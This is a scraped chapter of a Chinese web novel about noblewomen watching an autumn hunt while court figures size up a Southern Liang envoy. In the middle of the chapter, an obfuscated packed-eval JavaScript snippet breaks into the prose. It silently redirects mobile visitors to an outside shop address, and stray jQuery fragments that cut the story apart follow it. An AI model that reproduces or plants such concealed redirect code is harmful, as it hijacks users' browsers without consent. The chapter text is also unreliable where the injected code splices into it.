文趣网 > 其他小说 > 矜棠 > 51. 丽色
    不过方明瑶最终还是没能走成,反倒是霍治被元宥音赶了出去,而她却被喊停了脚步。

    “就这么把人赶走了?”方明瑶促狭地看着她,“他可是专程抽身来寻你的。”

    前头各项事宜离不得他,虽然开猎时辰推迟是真,但是霍治确实也不便久留,何况方明瑶过来了,有她陪着他倒能放心些,这才肯离开。

    元宥音瞥她一眼,嘟囔道:“谁让他来了?那么多人都找他呢,要是被人看见他跑到我的营帐里,岂不是惹人笑话?”

    她撇着嘴,模样瞧着是不满,可嘴角分明挂着浅笑,止都止不住,显然心中也是极为欢喜的。

    能被人这样子放在心上,谁不会欢喜呢?方明瑶扬了扬眉,但笑不语。

    坐着闲谈上一会儿,不久帐外便有哨声响起,随即候在外头的云岫和方明瑶的贴身婢女一同入内,提醒她们前头传来了开营的号令。

    她们相携走出营帐时,外头已是人声鼎沸,金辉洒在连绵的帐幔上,将那一大片白色染成了浅金,远处山林层层,像一幅浓墨重彩的画。

    看台上已经坐了不少人,各家女眷三五成群,元宥音随着方明瑶在看台上落座,目光下意识地四处搜寻起来。

    心里念着的人没找到,倒是瞥见了一抹特殊的丽色。

    那个南梁来的姑娘坐在另一侧,好巧不巧就在她们的正对面。

    她耳垂坠着明珠,穿着一身浅碧色的云锦衣裙,料子轻薄如烟,走线精细,看着便与大越女子的穿着截然不同,她身后的几名侍女也穿成这般,应该是她们南梁特有的打扮。

    偶尔有风吹过,她便抬手将碎发拢到耳后,轻轻柔柔,姿态弱柳扶风,好比西施捧心。

    方明瑶顺着她的视线看去,由衷感慨:“确实是位美人。”

    元宥音不置可否,但是有前日醉酒的经历在,总觉得有些尴尬,像是做了什么亏心事一样。

    醉酒后,居然追问一位素昧平生的姑娘漂亮与否,这事实在做得糗,但其实元宥音对她并没有不满,反倒还有些心疼她,瞧着年岁不大,却要被当作筹码,远离故土。

    一国安宁是用女子换来的,她为南梁君主感到不齿。

    太久盯着人家有失礼数,两人都是大家闺秀,深谙这个道理,方明瑶很自然将话题转到别处,元宥音也顺势收回视线,说起旁的来。

    其余人纷纷入座,最后天子缓缓走出,而他的身侧跟着元琅,另一位便是霍治,二人分列左右,号角声响起,在山林间回荡,随着天子朝空中射出首箭,昭示着今日的狩猎正式开始。

    一队队骑士策马而出,霍治也同在其中,包括几位南梁来的猛士,惹了一众关注的轩辕虎首当其冲,跑在最前面。

    众人或掩面惊呼,或拍手叫好,场面好不热闹。

    元琅不善骑射,坐在天子下首,另一边是南梁的正使萧言,此人谈吐不凡,除了正使的身份外,最重要的一层,是他乃南梁皇室。

    也便是方明瑶嘴里那位风度翩翩之人。

    元宥音的目光追随着霍治,直到他的身影没入山林,这才收回。

    方明瑶在一旁看着,忍不住笑了,“人都走远了,还看呢。”

    “谁看了?”她不承认。

    “要我说,霍将军骑射一流,你也犯不着担心他,且安心等着便是。”

    她说的在理,元宥音自然也明白,想到刚刚在人群里看见的身影,她转了话头,“子睿今日不是也在?你就一点都不担心?”

    方子睿和霍治一同入的林,虽然不在队前,但也紧随其后,瞧着是有模有样,可见这段日子在校场里练得颇有成效。

    闻言,方明瑶摆了摆手,无奈道:“我担心他做什么?也不指望他能拿到什么名次,不添乱我都要烧高香了。”

    她恨铁不成钢的态度写在脸上,都说长姐如母,元宥音倒觉得她不如表面看起来那样轻松,不由安慰起她来。

    “他年纪还小,你也别给他过多的压力了。”

    元宥音放下茶盏,语气温和。

    方明瑶苦笑:“我倒不是嫌他,你可不知道,这小子莽撞得很,三天两头便要惹事生非,实在让人放心不下。”

    忆起上会冒冒失失闯进帐里的少年,元宥音不禁笑了声,心想自己未必不知他莽撞,不过这件事也不晓得方明瑶是否知晓,她便没有宣之于口。

    不同于她们这边的谈笑,上首的三人那里又是另一番光景。

    这是南梁人第一次踏足北地,萧言作为南梁皇储,一举一动都代表着国家颜面,此时哪怕是直面天子龙颜,也未显出半分畏惧,谈笑自若。

    他抬手举杯,笑道:“久闻北地秋猎盛况,今日得以一见,果然名不虚传。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623577|202225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    闻言,天子端起酒杯,微微颔首算是回应,皮笑肉不笑:“正使远道而来,可在此多住几日。”

    元琅自然而然地接上话头,语气温和而不失礼数:“北地风俗与贵国迥异,正使若是有兴致,本王亦可奉陪。”

    “有劳燕王殿下了。”

    说起来,二人应该是平起平坐,元琅成年后受封燕王,而萧言在南梁皇室里行二,论品级不相上下,论年龄亦是相仿。

    就这么一会儿的功夫,两人对坐饮酒,相谈甚欢,倒有几分棋逢对手的意味。

    不过有吕孟山的事在前,闹得沸沸扬扬,人心惶惶,元琅定也是知晓的,元宥音一时之间竟有些看不清他笑意真假。

    南梁狼子野心,此次虽为议和而来,却处处都透露着试探。

    萧言这位皇储,表面上清风朗玉,眼底却藏着打量,好似狐狸一般透露着精锐,不动声色地打量着什么。

    相比起他,元琅就显得单纯得多,元宥音不禁有些担忧,总感觉她这位堂兄要被诓骗了去。

    天色渐隐,不多时远处的号角声再次响起,看台上的人便知是他们回来了。

    这次的秋猎会在围场待上几天,而这打猎也被分为了比分制,从今日下午起,为时两天半,到最后一日的时候一齐统计,根据猎头来判定胜负。

    南梁那边显然是不想给本国丢脸的,各个卯足了劲头,才第一日便囊袋颇丰,且那位名唤轩辕虎的武将确实不容小觑,纵观望去,他的猎物之多可谓打眼。

    北越这边自然也是同理,仗着地形优势,对环境的了解,及泱泱大国人才济济,一时之间竟胜负难分。

    元宥音看在心里,待晚间入了帐,便迫不及待地将心中疑惑说出:“霍长嶷,你是不是对这胜负之分,毫不在意?”

    霍治被她拉着,顺从地在床边坐下,上上下下地检查起是否有伤处。

    “为什么这么问?”

    他出林时多少还是带了些猎物,不过大多是些不起眼的小玩意儿,譬如野兔、山鸡之流,虽非空手而归,但与轩辕虎那边张扬的做派相比,他简直是兴致缺缺。

    元宥音检查得仔细,想他到底是进了林,生怕他受伤,周身都瞧过后,这才回他。

    “我还不了解你吗?你明显对这狩猎比试不大上心,怎么,不想给我夺个彩头回来?”